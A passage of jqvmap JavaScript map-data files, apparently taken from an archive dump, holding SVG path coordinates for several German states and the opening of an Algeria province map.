3.11,5.22 7.1,10.36 13.17,12.16 3.29,1.01 7.58,3.94 10.7,1.22 -0.29,-3.23 3.4,-2.12 4.94,-0.75 2.81,1.03 3.99,2.78 6.11,4.39 2.08,1.33 4.66,2.82 7.04,1.98 3.14,1.39 6,3.2 8.16,5.88 3.11,1.39 3.63,-2.03 5.78,-1.38 1.85,0.64 2.36,3.88 -0.16,3.41 1.53,4.44 1.98,9.42 4.53,13.28 -0.28,4.36 -5.19,5.81 -8.13,8.16 1.38,4.17 2.89,2.17 5.54,3.45 2.71,1.73 3.05,5.69 4.55,8.42 0.92,3.28 0.16,6.97 -0.56,10.28 1.12,1.84 2.33,3.34 4.61,2.31 0.97,-1.14 2.38,-3.45 4.49,-4.31 2.22,-1.43 4.58,-3.03 6.29,-0.12 4.07,3.53 9.06,7.27 14.8,6.16 2.09,-1.58 2.79,0.71 5.58,0.52 2.7,-0.23 5.1,-3 8.17,-1.96 3.29,-1.1 7.81,-0.26 9.47,-3.95 2.24,-4.34 2.1,-9.97 5.65,-13.77 1.52,-0.92 3.97,-0 5.84,-0.31 2.67,-0.5 5.34,2.24 7.62,0.72 1.65,-1.85 4.86,-1.52 6.32,-2.54 1.7,-2.16 5.35,-2.05 7.75,-3.38 2.31,-0.33 2.58,2.04 4.09,2.56 2.19,0.22 4.28,-0.47 4.14,-3.06 1.18,-2.26 3.58,-0.39 3.55,-4.22 -0.1,-2.81 -0.47,-5.99 -3.36,-7.26 -3.75,-2.16 -4.56,-6.65 -6.42,-10.21 -2.9,-0.63 -3.35,-5.09 -0.55,-6.35 3.76,-2.93 5.89,-7.61 5.36,-12.4 -0.5,-2.47 -0,-3.76 1.5,-6 1.18,-2.51 -0.13,-5.99 -3.13,-5.94 -2.3,-1.74 -2.72,-5.61 -0.53,-7.63 -0.28,-2.81 1.52,-6.55 -1.09,-8.56 -2.6,-1.24 -6.3,-0.29 -7.81,-3.19 -1.11,-3.05 -1.39,-6.47 -2.42,-9.42 -1.68,-2.31 -0.63,-6.4 2.17,-7.48 1.98,-2.33 3.3,-5.1 2.57,-8.22 0.38,-2.83 -0.31,-5.28 -2.51,-7.19 -3.54,-2.79 -8.55,-3.73 -11.34,-7.59 -2.56,-5.3 -8.11,-8.18 -12.88,-11.28 -2.02,-1.42 -4.87,-0.97 -6.69,-2.38 -2.03,-2.63 3.01,-4.81 1.15,-7.48 -0.64,-2.66 -2.69,-6.39 0.67,-8.11 3.25,-1.9 6.37,-3.89 8.77,-6.91 3.06,-2.56 2.89,-6.96 3.39,-10.59 -1.83,-1.72 -1.71,-4.98 -0.47,-6.84 1.2,-1.67 4.41,-4.79 3.03,-6.69 -2.15,0.19 -2.35,-3.69 -2.22,-5.41 -2.44,1.01 -5.3,1.53 -5.5,4.63 -1.15,2.4 -3.02,3.91 -5.78,3.72 -2.22,-0.47 -6.15,0.62 -7.41,-0.9 0.47,-4.6 5.82,-6.58 7.23,-10.78 0.81,-2.01 1.54,-5.13 -0.2,-6.73 -3.16,-0.57 -5.69,-0.28 -7.87,1.03 -3.28,0.28 -6.64,-0.73 -9.75,0.5 -4.23,-1.06 -2.75,-6.98 -5.95,-9.24 -1.05,-1.15 -2.07,-2.54 -3.15,-3.54z M484.13,240.25c2.62,1.78 3.22,5.59 5.07,8.15 1.73,3.05 5.13,4.94 5.9,8.6 -0.13,3.15 2.96,3.88 5.31,4.97 3.02,1.16 1.5,3.96 0.62,6.15 -2.11,1.18 -0.3,2.41 -1.81,3.94 -3.37,1.44 -6.8,-1.31 -10.22,-1.72 -2.61,0.29 -4.02,-2.66 -5.44,-2.59 -3.39,0.13 0.93,5.86 -3.25,4.2 -2.15,-1.56 -3.93,-2.85 -6.03,-2.56 -2.2,-2.21 -6.14,-1.55 -8.26,0.46 3.07,1.05 -3.31,1.77 -4.27,0.08 -2.48,-1.03 -0.87,-2.57 0.43,-3.73 -0.55,-1.26 -1.2,-3.36 0.31,-4.63 3.03,-2.14 1.73,-3.7 -0.71,-3.56 0.04,-2.5 -0.02,-5.34 0.62,-7.66 1.31,-1.47 2.88,-1.58 4.41,-0.5 1.08,0.35 -1.33,-2.46 0.8,-3.32 1.36,-1.61 4.71,-0.61 6.85,-0.8 2.24,1.02 3.85,-0.76 4.63,-2.66 1.77,2.37 2.44,0.08 3.29,-1.66 0.36,-0.52 1.13,-1.47 1.74,-1.16z","name":"Brandenburg"},"be":{"path":"m483.38,241.69c-1,1.58 -1.61,5.27 -4.03,2.88 -0.91,2.64 -3.81,2.59 -6.06,2.05 -1.91,-0.31 -7.28,0.09 -4.84,2.79 1.38,2.14 -2.25,1.68 -3.34,0.78 -3.18,-0.15 -1.8,4.36 -2.36,6.45 -0.09,0.87 5.17,1.04 2.51,3.18 -1.16,1.75 -4.04,3.69 -1.89,5.83 0.53,1.82 -3.82,2.76 -0.54,3.7 2.29,1.61 3.52,-2 6.07,-2.2 2.07,-0.34 5.08,-0.28 6.25,1.69 2.29,-3.28 5.18,4.71 6.09,1.16 -1.15,-2.62 1.9,-3.14 3.66,-3.85 0.63,3.56 5.17,2.88 7.8,4.18 1.96,0.26 4.94,2.32 6.26,0.28 -2.5,-1.19 2.5,-2.95 2,-5.26 1.05,-2.66 -3.24,-2.9 -4.77,-4.37 -2.69,-0.38 -1.4,-4.38 -3.15,-6.05 -1.61,-3.03 -4.93,-4.88 -5.94,-8.38 -1.14,-0.99 -1.96,-6.07 -3.71,-4.88z","name":"Berlin"},"by":{"path":"m273.66,464.44c-1.31,1.91 -3.76,2.78 -3.5,5.34 -1.83,4.59 -6.12,7.95 -10.5,9.94 -2.67,1.02 -4.62,-2.49 -7.15,-0.61 -1.54,0.74 -0.64,3.49 -2.13,4.58 2.4,3.04 -0.04,7.53 -3.44,8.47 -3.38,-0.45 -3.01,4.07 -4.66,5.5 -2.16,0.47 -4.23,-0.33 -6.28,-0.91 -2.54,3.91 -0.46,8.53 0,12.63 -0.53,2.87 -4.66,1.74 -6.9,2.55 -3.16,0.27 -1.64,-5.68 -4.98,-5.22 -4.19,-0.72 -8.41,-2.46 -12.49,-0.42 -2.97,1.16 -6.84,1.23 -9.32,2.99 -0.59,1.48 -2.41,4.44 -0.69,5.28 3.02,-0.37 2.55,4.03 2.28,5.63 -2.37,0.86 0.17,4.18 -0.45,6.12 0.28,2.66 -0.27,5.78 1.89,7.78 -3.88,-0.85 0.14,3.73 1.52,4.58 0.84,1.94 3.96,0.92 3.59,3.64 1.27,2.88 0.6,5.62 -0.78,8.31 -2.26,2.93 -2.47,7.6 -2.42,11.23 1.24,2.27 4.6,0.89 6.75,1.12 2.16,0.04 4.75,-2.13 4.73,-4.03 -0.34,-2.04 2.18,-5.23 4.72,-3.63 1.87,0.74 5.34,1.32 4.23,-1.45 1.6,-1.24 -0.63,-7.5 -0.96,-4.79 0.79,2.49 -3.31,2.3 -3.52,0.13 -0.83,-1.56 -3.4,-4.82 -1.19,-6.09 3.07,-0.15 6.37,-1.05 9.34,-0.19 0.41,-2.46 4.94,-2.22 3.88,0.41 0.59,1.49 3.45,3.68 4.43,1.04 1.16,-1.1 4.96,-5.66 4.94,-1.88 -0.59,2.44 0.18,5.72 -1.59,7.45 0.33,2.92 3.79,0.57 5.16,-0.39 2.48,-0.32 5.61,-3.48 7.29,-0.3 2.99,3.39 2.07,8.94 5.01,12.52 2.18,0.31 2.43,3.58 2.41,5.6 0.45,1.81 -0.72,3.89 -0.34,5.16 2.77,0.82 6.24,0.65 7.69,-2.25 -0.15,-1.12 -1.91,-2.61 0.74,-3.68 2.83,-1.31 3.76,2.79 4.2,4.84 -1.95,1.56 1.87,3.4 1.31,5.57 0.26,2.1 4.02,5.65 0.6,6.68 -2.91,-0.9 -2.81,3.3 -1.87,5.04 0.96,2.51 3.11,4.68 1.16,7.27 0.44,2.52 -1.72,6.37 1.65,7.44 1.89,1.55 4.82,1.6 5.41,4.43 1.71,2.58 1.5,5.88 2.31,8.79 -2.03,1.94 3.23,2.14 4.31,3.59 2.13,2.06 5.86,2.95 6.29,6.28 3.84,2.87 1.91,8.3 2.08,12.46 0.25,2.64 -0.94,5.5 -2.07,7.44 -0.04,3.1 4.34,2.42 3.61,6.41 2.49,1.05 0.06,3.97 -1.86,4.33 -1.61,1.16 -4.23,0.12 -2.18,-1.56 2.29,-3.25 -3.46,-0.68 -4.81,-0.69 -2.23,0.84 -5.79,-3.18 -5.97,0.9 -0.14,3 3.91,4.63 3.42,7.93 0.53,2.67 0.99,5.81 0.27,8.32 -1.49,1.89 -3.93,-0.58 -5.06,1.19 0.32,2.29 -3.52,3.66 -4.94,5.41 -3.13,1.93 -4.28,-3.47 -7.13,-0.01 -2.35,0.12 -0.74,3.36 -2.58,4.82 -1.74,2.44 -2.43,5.75 -0.16,8.06 1.31,2.7 4.08,4.51 3.75,7.78 0.56,4.38 1.13,8.84 2.71,12.9 2.91,1.82 1.6,5.52 2,8.41 0.45,2.66 -1.86,4.17 -1.66,6.72 0.19,1.55 -3.47,0.81 -1.84,3.13 2.61,1.07 0.38,3.66 0.87,5.81 0.2,2.47 -0.14,5.78 2.07,7.38 0.5,2.56 -3.74,2.92 -1.81,6.18 1.02,3.01 3.86,6.55 1.16,9.46 -1.18,1.16 -3.19,0.63 -3.38,2.95 -1.52,3.81 -0.35,-4.27 -2.92,-3.81 -1.88,-0.93 -3.51,0.34 -4.08,2.09 -3.48,0.28 -7.46,-0.44 -10.66,0.7 -2.62,1.93 -4.17,6.22 -7.96,5.49 -1.72,0.26 -2.84,-2.34 -4.53,-0.51 -3.88,1.61 -1.7,3.37 1.37,4.04 3.22,2.32 4.79,-0.35 6.38,-2.97 2.19,-2.61 6.67,0.35 5.03,3.47 -1.46,1.59 3.12,2.56 4.5,2.46 2.2,0.75 5.22,-2.54 5.71,-2.37 -1.26,2.65 0.2,5.16 1.79,7.23 3.74,-0.93 5.96,3.27 7.63,5.97 -1.64,1.92 -2.48,3.42 -1,5.94 0.03,1.72 5.17,0.51 4.35,-1.56 0.81,-1.86 3.6,-1.1 5.09,-0.53 2.05,2.24 -1.68,3.98 -1.81,6.26 -0.21,1.48 -3.48,5.59 -1.04,5.45 5.9,-0.28 10.64,-4.27 13.65,-9.1 1.68,-2.49 4.2,-4.8 5.23,-7.51 -0.27,-1.73 0.37,-4.61 -1.96,-4.47 -1.78,-2.98 -0.76,-6.77 -1.03,-10.06 0.59,-1.59 4.6,-2.06 3.97,0.09 -1.67,2.23 -0.39,3.45 2.34,3.77 2.31,0.63 4.34,0.47 4.81,-2.09 1.65,-2.51 5.13,-0.08 7.59,-0.22 0.5,2.03 3.14,2.52 5.19,3.38 2.99,1.48 5.86,-2.19 8.72,-1.09 3.48,2.5 -1.05,3.09 -0.97,5.59 2.55,0.29 4.83,1.11 6.25,3.38 2.96,1.58 0.77,3.77 1.16,5.09 4.01,0.78 8.16,-0.05 11.5,-2.41 2.24,-1.08 5.28,-2.46 7.66,-1.16 -0.63,2.06 -2.84,4.65 1.39,2.92 0.99,-2.2 2.51,-4.2 4.63,-5.64 2.78,-1.69 3.97,-4.98 6.66,-6.66 2.2,2.25 6,0.82 8.75,0.25 1.72,-1.5 -0.11,-4.24 1.75,-6 1.27,-3.31 5.21,-1.69 7.87,-2.01 3.14,-0.06 6.26,-0.02 9.34,0.6 1.3,-3.59 5.97,-3.64 9.18,-3.87 2.61,1.43 5.36,-1.54 7.57,0.5 2.56,0.03 5.94,1.12 8.03,-0.19 -0.56,-3.08 -2.75,-5.66 -1.81,-8.97 1.68,-1.6 3.23,-4.06 5.5,-4.97 2.05,1.73 -0.97,3.82 0.9,5.81 0.74,1.55 6.18,-3.23 5.07,-0.41 2.78,1.55 7.13,-0.47 8.4,3.24 1.5,2.9 4.05,3.71 6.55,1.34 2.39,-0.55 1.97,-4.34 4.92,-3.93 3.45,-1.43 7.22,-0.35 10.38,1.04 0.63,2.57 4.26,5.4 1.53,7.59 -1.91,3.64 3.48,5.29 5.61,7.15 2.86,2.07 5.93,3.86 9.26,5.04 1.6,-1.29 3.65,-3.83 2,-5.66 -1.98,-1.39 0.16,-4.42 -0.13,-6.41 0.81,-2.05 3.05,-3.55 3.5,-5.53 -1.37,-2.88 -2.02,-7.29 -5.72,-7.94 -0.69,2.59 -4.42,1.51 -6.31,1.34 -1.86,-0.73 -2.16,-2.62 -0.73,-4.04 1.53,-3.69 4.03,-7.15 5.39,-10.77 -2.14,-3.41 -3.7,-7.7 -6.59,-10.34 -2.88,0.4 -3.64,-2.11 -3.9,-4.41 -1.24,-4.49 -8.32,-5.42 -8.04,-10.73 0.04,-2.8 4.04,-3.87 5.63,-5.89 1.81,-1.22 1.17,-3.89 2.78,-4.97 2.57,-0.91 6.07,0.24 7.47,-2.89 1.29,-1.84 2.29,-3.74 4.7,-4.4 2.08,-2 5.15,-0.22 7.17,-2.39 2.7,-1.73 6.58,0.63 8.88,-2.3 3.06,-1.95 5.85,-4.79 7.85,-7.65 0.43,-2.52 2.26,-5.13 0.38,-7.38 0.45,-3.1 3.3,-6.59 0.44,-9.38 -0.61,-1.41 4.07,-1.2 4.41,-3.5 -0.1,-4.04 4.08,-0.04 6.17,0.11 3.24,1.6 5.97,4.3 9.52,5.26 3.15,-4.15 7.21,-9.07 5.25,-14.64 0.5,-2.8 -3.41,-5.03 -1.06,-7.39 1.18,-2.53 1.51,-5.28 -0.56,-7.48 -1.75,-2.45 -3.35,-5.1 -5.19,-7.42 -2,1.56 -5.42,0.69 -5.99,-1.97 -0.86,-2.58 -2.84,-4.62 -4.76,-6.5 -2.32,-0.51 -5.25,-0.27 -4.06,2.66 -1.49,2 -4.02,-1.61 -5.78,-2.26 -3.51,-1.84 -1.34,-7.26 -4.67,-9.54 -1.77,-2.1 -3.92,-4.14 -6.4,-5.23 -2.11,1.09 -4.33,0.73 -6.1,-0.79 -2.35,-0.65 -1.29,-3.34 -2.28,-4.52 -5.62,-4.34 -8.22,-11.7 -13.85,-16.05 -0.96,-0.66 -5.12,-1.7 -4.56,-0.67 1,2.66 -3.26,0.86 -4.59,0.92 -2.67,0.16 -4.59,-1.69 -5.1,-4.2 0.33,-2.99 -3.95,-3.91 -5.58,-5.98 -1.3,-1.16 -4.06,-3.42 -2.45,-4.96 0.01,-2.41 0.31,-4 -2.29,-4.05 -2.07,-0.53 -1.46,-1.98 -2.8,-3.5 -2.08,-3.55 -3.13,-7.39 -3.48,-11.47 -1,-2.47 -5.61,-0.9 -6.56,-3.96 -1.46,-1.68 -3.4,-4.99 -0.08,-5.91 3.24,-0.92 2.39,-4.05 3.21,-6.53 0.88,-3.28 4.17,-5.56 3.4,-9.15 -1.69,-2.78 -3.02,-7.24 -7.16,-6.34 -2.89,-1.46 -5.43,-3.31 -7.5,-5.81 -4.37,0.47 -3.42,-1.95 -5.22,-4.41 -1.08,-0.95 -3.08,-0.2 -3.19,-2.3 -0.69,-1.94 -0.29,-3.97 0.91,-5.48 -1.13,-3.44 -4.24,-5.4 -7.25,-6.96 -2.59,-1.3 0.21,-3.74 1.9,-4.17 -1.15,-4.86 -6.38,-5.68 -10.5,-6.63 -1.66,-1.44 1.51,-4.7 -1.45,-5.85 -1.47,-2.96 -3.98,-0.6 -6.15,-0.03 -4.99,1.83 -10.54,1.94 -15.74,2.63 -0.77,-0.67 -2.77,-2.61 -3.03,-0.5 -0.96,2.08 -4.29,1.95 -5.15,-0.33 -1.46,-1.7 -1.05,-3.98 -3.62,-3.71 -2.87,-0.72 -2.28,-4.47 -1.51,-6.47 2.3,-1.83 -2.65,-2.89 -4.3,-2.43 -1.7,1.3 -2.92,3.72 -5.37,4.41 -1.61,-1.19 -1.85,2.9 -0.04,2.88 0.66,3.05 1.58,6.38 1.39,9.48 -1.36,2.21 -0.38,7.05 -3.72,7.01 -1.95,0.12 -2.86,4.45 -5,1.12 -2.19,-1.15 -2.98,-4.4 -0.24,-5.3 -0.32,-1.92 -3.58,-5.33 -4.44,-2.09 -2.92,1.68 -7.59,1.16 -8.96,-2.28 -0.97,-2.98 -4.83,-0.87 -7.1,-1.48 -2.57,0.83 -5.91,1.76 -7.83,3.43 -0.82,2.98 1.43,4.47 3.69,5.77 1.52,2.24 6.27,1.22 5.55,4.87 -1.22,3.47 -5.4,0.77 -7.88,0.59 -0.91,0.73 1.13,4.84 -1.63,4.69 -2.37,-0.99 -5.13,-1.74 -7.34,-2.66 -1.81,-3.33 -1.13,-7.07 -0.75,-10.66 -3.86,-0.79 -8.92,-2.08 -9.69,-6.56 -1.65,1.27 -4.99,0.71 -4.64,-1.87 -0.45,-2.76 -1.64,-5.72 -3.61,-7.69 -2.74,-0.99 -5.53,-1.93 -6.83,-4.79 -1.25,-3.09 -5.32,-0.4 -7.74,-0.8z m46.75,26.38c-0.1,0.03 0.04,0.06 0,0z","name":"Bayern"},"bw":{"path":"m233,542.31c-1,3.03 -3.8,0.55 -6.25,1.41 -1.85,0.3 -6.11,-0.67 -4.1,2.56 0.5,1.4 3.45,5.79 2.97,1.91 0.74,-2.88 3.54,0.29 3.5,2.12 -0.05,2.12 0.13,4.28 -0.67,5.91 -2.21,2.88 -6.93,-2.7 -8.36,1.34 0.26,1.89 -0.96,3.78 -2.66,5.38 -2.87,1.47 -6.48,1.36 -9.56,0.91 -0.14,1.71 -1.09,2.75 0.88,3.56 2.16,2.43 -1.84,4.61 -2.82,1.5 -2.24,-0.41 -4.9,0.87 -7.01,1.83 -1.86,1.31 -3.21,3.14 -1.07,4.79 -2.58,2.03 -4.76,4.93 -7.53,6.53 -2.28,0.77 -4.85,-1.67 -3.07,-3.7 0.44,-3.45 3.31,-3.76 5.49,-5.64 2.15,-2.77 -2.95,-1.33 -4.33,-2.33 -3.36,-0.68 -8.66,-1.27 -8.78,-5.66 -0.37,-2.27 -2.39,-6.18 0.16,-6.35 -1.56,0.22 -6.19,0.51 -5.66,2.03 1.02,1.01 1.63,3.91 1.34,5.81 -0.91,2.56 -4.61,4.01 -6.17,1.22 -1.23,-2.27 -2.8,-5.47 -5.58,-5.87 -1.35,0.5 -2.27,2.96 -1.13,4.34 0.64,2.82 1.72,5.99 1.41,8.75 -1.19,1.47 2.13,0.8 2.94,1.09 2.56,1.28 -0.68,4.01 0.44,6.03 0.58,2.78 -1.68,4.86 -3.44,6.5 -0.2,1.61 2.95,0.95 2.5,3.03 -0.5,1.7 -2.89,2.29 -3.8,3.97 -1.51,1 -4.09,2.21 -3,4.19 -0,4.19 -1.63,8.4 -2.57,12.44 -1.88,2.38 -4.07,4.74 -4.06,8 -0.94,3.32 -4.33,5.15 -7.25,6.25 -3.09,4.3 -5.58,9.02 -6.75,14.19 -2.02,2.94 -5.4,5.15 -8.91,5.69 -0.21,2.82 -1.4,5.14 -3.56,6.99 -1.36,2.17 -3.49,3.53 -5.66,4.61 -1.15,2.67 -3.64,5.13 -2.5,8.22 0.36,2.98 -0.28,5.69 -1.97,8.15 -1.95,4.34 -4.99,8.87 -3.01,13.76 0.98,2.33 -1.6,3.46 -3.29,4.06 -1.58,3.35 -1.03,7.85 -3.97,10.71 -3.45,3.81 -5.74,8.63 -5.57,13.85 -1.32,3.83 3.9,5.48 3.32,9.25 -1.3,3.08 -3.94,5.46 -4.57,8.93 -0.87,1.91 1.04,3.96 -0.54,5.81 -1.06,2.51 -2.87,5.19 -1.04,7.86 1.18,2.15 -0.92,4.15 -2.35,5.35 -0.31,3.89 3.1,6.22 5,9.16 2.34,1.03 6.63,0.35 6.5,3.84 -1.16,1.4 -4.38,2.08 -0.94,3.62 2.67,0.19 5.38,-1.24 7.85,-2.15 1.44,-1.71 2.81,-3.83 5.44,-3.09 2.67,-0.79 2.95,2.96 5.54,2.9 3.15,1.3 6.81,1.64 9.99,0.41 0.13,-3.3 4.53,-3.63 6.59,-5.48 2.38,-1.41 5.39,0.37 7.78,0.98 0.79,1.29 -0,3.08 2.19,3.78 3.61,0.25 7.37,1.32 10.72,-0.47 -3.18,-2.2 -0.41,-3.55 1.74,-5.09 1.44,-1.37 5.34,0.59 4.6,2.72 0.03,1.73 2.81,-2.43 2.91,-3.66 0.99,-2.17 -2.08,-3.31 -3.78,-2.38 -2.21,0.79 -3.16,2.58 -5.97,3.13 -1.88,-0.81 -4.32,-2.21 -5.31,-4.16 0.59,-3.61 2.99,-6.72 5.06,-9.63 1.63,-2.24 5.73,-0.38 6.44,-3.38 2.06,-2.35 5.55,0.44 4.49,3.47 2.07,0.67 0.21,-4.19 4.06,-1.25 1.57,1.2 4.32,3.45 2.25,5.23 0.1,2.76 1.41,4.58 4.22,5.01 1.74,-2.24 3.46,-0.92 5.76,1.59 2.1,2.97 5.8,0.78 7.96,-0.93 3.82,-2.7 8.65,-0.24 12.27,1.62 3.55,2.04 4.43,-1.99 2.13,-4.27 -0.59,-2.2 -2.12,-3.67 -4.12,-4.07 -2.4,-1.85 -6.01,-3.5 -6.96,-6.5 0.3,-2.1 3.03,-1.62 3.78,-0.16 3.5,2.46 7.48,4.47 10.66,7.31 -0.21,3.96 4.69,5.62 7.5,7.39 1.67,0.53 3.72,-1.14 5.59,-0.11 2.75,0.87 6.81,1.33 7.03,4.97 0.46,3.2 4.49,4.9 6.69,2.27 1.24,-1.5 4.61,-2.56 5.4,-0.7 4.17,1.33 6.15,-3.91 8.97,-5.72 3.32,-0.45 7.13,0.12 10.19,-0.66 1,-2.57 4.28,-2.37 6.22,-1.28 0.84,2.31 0.58,2.71 2.56,1.13 2.97,-0.39 2.03,-4.58 0.76,-6.39 -1.17,-2.02 -2,-5.8 -0.79,-7.3 3.32,-0.17 0.06,-2.21 -0,-3.93 -0.63,-3.04 -0.86,-6.31 0,-9.32 -2.23,-0.74 -2.32,-4.76 0.44,-4.66 -0.41,-2.68 2.08,-4.21 1.66,-6.88 -0.15,-2.82 0.59,-6.09 -1.94,-7.94 -2.26,-5.15 -1.96,-11.11 -3.49,-16.32 -1.93,-2.69 -4.53,-5.55 -4.67,-9 0.46,-2.92 3.93,-5.48 2.72,-8.47 0.1,-0.35 4.87,-3.47 6.42,-2.05 2,3.2 4.93,-0.95 6.82,-2.36 0.33,-1.38 1,-2.91 3.14,-2.96 3.03,1.76 2.98,-2.24 2.69,-4.25 -0.32,-3.5 -1.14,-6.78 -3.64,-9.37 -0.98,-1.42 0.15,-4.75 1.23,-5.16 3.02,1.48 6.11,1.47 9.25,0.41 2.37,-0.94 3.55,1.55 1.82,3.19 0.08,1.06 5.19,-1.87 2.3,-2.88 -0.25,-2.1 -0.85,-4.44 -3.47,-3.91 -1,-3.13 0.42,-4.65 1.54,-7.33 0.09,-4.38 1.32,-9.19 -0.13,-13.38 -2.03,-1.38 -1.82,-4.46 -4.4,-5.39 -2.47,-2.1 -5.26,-3.59 -8.29,-4.72 -0.45,-2.63 0.5,-4.11 -0.61,-6.97 -0.35,-3.23 -2.39,-5.85 -5.43,-6.81 -1.8,-1.05 -4.02,-2.25 -3.05,-4.75 -0.53,-2.57 0.99,-5.27 0.62,-7.5 -1.67,-2.84 -3.08,-6.33 -1.5,-9.56 2.72,0.17 4.05,-1.19 2,-3.69 -1.12,-2.08 -1.1,-4.65 -2.84,-6.37 -0.05,-1.52 1.05,-2.79 -0.28,-4.24 -1.33,-3.13 -3.46,0.38 -1.36,0.89 -1.36,2.26 -3.18,4.9 -6.23,4.2 -1.84,0.68 -5.99,-0.78 -4,-3.06 0.32,-2.43 0.8,-5.95 -0.91,-7.66 -1.91,-0.49 -2.69,-3.58 -3.13,-5.51 -1.12,-3.07 -1.07,-6.84 -4.03,-8.84 -3.37,0.71 -6.2,2.77 -9.34,3.81 -2.15,-0.26 -3.2,-3.12 -1.25,-4.19 -0.15,-1.71 1.98,-8.34 -1.11,-4.8 -1.56,1.02 -3.09,4.67 -5.17,2.44 -1.38,-0.64 -3.13,-1.84 -2.32,-3.58 -0.34,-0.5 -0.91,-0.09 -1.41,-0.13z m-57.69,212.03c0.26,4.67 5.28,-0.76 0,0z","name":"Baden-Württemberg"}}});js/jqvmap/maps/jquery.vmap.algeria.js000060400000265520150710775200013652 0ustar00/** Add Algeria Map Data Points */ 
jQuery.fn.vectorMap('addMap', 'dz_fr', {"pathes": {"1": {"path":"M 268.306 457.87 c 0 0 2.249 -0.725 2.249 -0.725 c 0 0 -0.496 -2.893 -0.496 -2.893 c 0 0 -3.133 -7.454 -3.133 -7.454 c 0 0 -2.249 -3.262 -2.249 -3.262 c 0 0 0.031 -6.131 0.031 -6.131 c 0 0 -1.682 -5.848 -1.682 -5.848 c 0 0 -2.49 -5.061 -2.49 -5.061 c 0 0 -6.095 -6.187 -6.095 -6.187 c 0 0 -1.521 -7.254 -1.521 -7.254 c 0 0 -4.417 -0.47 -4.417 -0.47 c 0 0 -4.163 0.675 -4.163 0.675 c 0 0 0.63 -56.826 0.63 -56.826 c 0 0 -0.259 -38.388 -0.259 -38.388 c 0 0 -8.571 -12.135 -8.571 -12.135 c 0 0 -2.714 -6.038 -2.714 -6.038 c 0 0 7.482 -7.683 7.482 -7.683 c 0 0 1.19 -2.448 1.19 -2.448 c 0 0 2.635 -0.807 2.635 -0.807 c 0 0 0.883 0.813 0.883 0.813 c 0 0 1.749 -0.209 1.749 -0.209 c 0 0 0.138 0.823 0.138 0.823 c 0 0 2.35 -1.681 2.35 -1.681 c 0 0 0.465 -8.884 0.465 -8.884 c 0 0 2.565 -6.436 2.565 -6.436 c 0 0 -1.848 -2.78 -1.848 -2.78 c 0 0 -0.051 -6.214 -0.051 -6.214 c 0 0 1.856 -3.176 1.856 -3.176 c 0 0 0.81 -10.075 0.81 -10.075 c 0 0 3.164 -5.032 3.164 -5.032 c 0 0 1.104 -3.51 1.104 -3.51 c 0 0 0.784 -10.595 0.784 -10.595 c 0 0 1.118 -4.885 1.118 -4.885 c 0 0 -4.273 -23.743 -4.273 -23.743 c 0 0 2.643 -13.284 2.643 -13.284 c 0 0 0.684 -28.618 0.684 -28.618 c 0 0 -21.085 13.188 -21.085 13.188 c 0 0 -15.816 11.178 -15.816 11.178 c 0 0 -8.624 9.693 -8.624 9.693 c 0 0 -3.966 6.909 -3.966 6.909 c 0 0 -10.189 7.171 -10.189 7.171 c 0 0 -1.53 5.245 -1.53 5.245 c 0 0 1.021 6.805 1.021 6.805 c 0 0 -0.608 2.721 -0.608 2.721 c 0 0 -5.818 4.933 -5.818 4.933 c 0 0 -11.195 0.456 -11.195 0.456 c 0 0 -13.243 3.621 -13.243 3.621 c 0 0 -6.827 9.299 -6.827 9.299 c 0 0 -6.535 4.925 -6.535 4.925 c 0 0 -1.732 3.77 -1.732 3.77 c 0 0 -6.146 7.528 -6.146 7.528 c 0 0 -3.367 10.625 -3.367 10.625 c 0 0 1.165 1.254 1.165 1.254 c 0 0 -3.322 10.957 -3.322 10.957 c 0 0 -1.78 1.059 -1.78 1.059 c 0 0 -7.687 -0.561 -7.687 -0.561 c 0 0 -3.857 1.585 -3.857 1.585 c 0 0 -2.317 1.98 -2.317 1.98 c 0 0 -7.18 9.722 -7.18 9.722 c 0 0 -3.038 6.72 -3.038 6.72 c 0 0 -14.179 -0.237 -14.179 -0.237 c 0 0 -7.204 6.951 -7.204 6.951 c -0.001 0 -12.962 4.238 -12.962 4.238 c 0 0 37.868 29.441 37.868 29.441 c 0 0 91.412 67.584 91.412 67.584 c 0 0 0.398 1.977 0.398 1.977 c 0 0 27.738 18.602 27.738 18.602 c 0 0 0.568 2.959 0.568 2.959 c 0 0 -0.822 5.766 -0.822 5.766 c 0 0 0.463 1.174 0.463 1.174 c 0 0 3.119 -0.263 3.119 -0.263 c 0 0 1.575 2.019 1.575 2.019 c 0 0 6.354 2.238 6.354 2.238 c 0 0 0.896 4.331 0.896 4.331 c 0 0 3.206 2.918 3.206 2.918 c 0 0 1.768 -0.039 1.768 -0.039 c 0 0 0.994 1.532 0.994 1.532 c 0 0 1.018 -0.565 1.018 -0.565 c 0 0 1.242 0.478 1.242 0.478 c 0 0 0.795 -0.395 0.795 -0.395 c 0 0 1.279 1.151 1.279 1.151 c 0 0 1.88 -1.958 1.88 -1.958 c 0 0 1.563 0.354 1.563 0.354 c 0 0 2.465 2.305 2.465 2.305 c 0 0 1.674 3.077 1.674 3.077 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Adrar"},"2":{"path":"M 251.147 52.1578 c 0 0 0.255 -1.759 0.255 -1.759 c 0 0 -1.269 -0.908 -1.269 -0.908 c 0 0 -0.683 -1.607 -0.683 -1.607 c 0 0 0.258 -1.099 0.258 -1.099 c 0 0 -0.801 0.179 -0.801 0.179 c 0 0 -0.68 -0.703 -0.68 -0.703 c 0 0 -0.004 -1.019 -0.004 -1.019 c 0 0 1.33 -0.886 1.33 -0.886 c 0 0 -1.829 -0.536 -1.829 -0.536 c 0 0 1.196 -1.169 1.196 -1.169 c 0 0 -1.496 -1.623 -1.496 -1.623 c 0 0 0.13 -1.172 0.13 -1.172 c 0 0 2.229 -1.641 2.229 -1.641 c 0 0 1.099 -2.467 1.099 -2.467 c 0 0 -4.333 0.653 -4.333 0.653 c 0 0 -2.668 -0.688 -2.668 -0.688 c 0 0 -1.591 1.201 -1.591 1.201 c 0 0 -4.207 0.314 -4.207 0.314 c 0 0 -3.056 1.182 -3.056 1.182 c 0 0 -0.989 1.688 -0.989 1.688 c 0 0 -3.115 1.248 -3.115 1.248 c 0 0 -1 3.282 -1 3.282 c 0 0 2.055 0.32 2.055 0.32 c 0 0 2.173 -0.8 2.173 -0.8 c 0 0 0.468 1.895 0.468 1.895 c 0 0 0.537 0.021 0.537 0.021 c 0 0 -0.826 1.687 -0.826 1.687 c 0 0 0.509 -0.155 0.509 -0.155 c 0 0 0.519 1.997 0.519 1.997 c 0 0 1.774 -0.663 1.774 -0.663 c 0 0 -0.347 0.243 -0.347 0.243 c 0 0 0.593 0.041 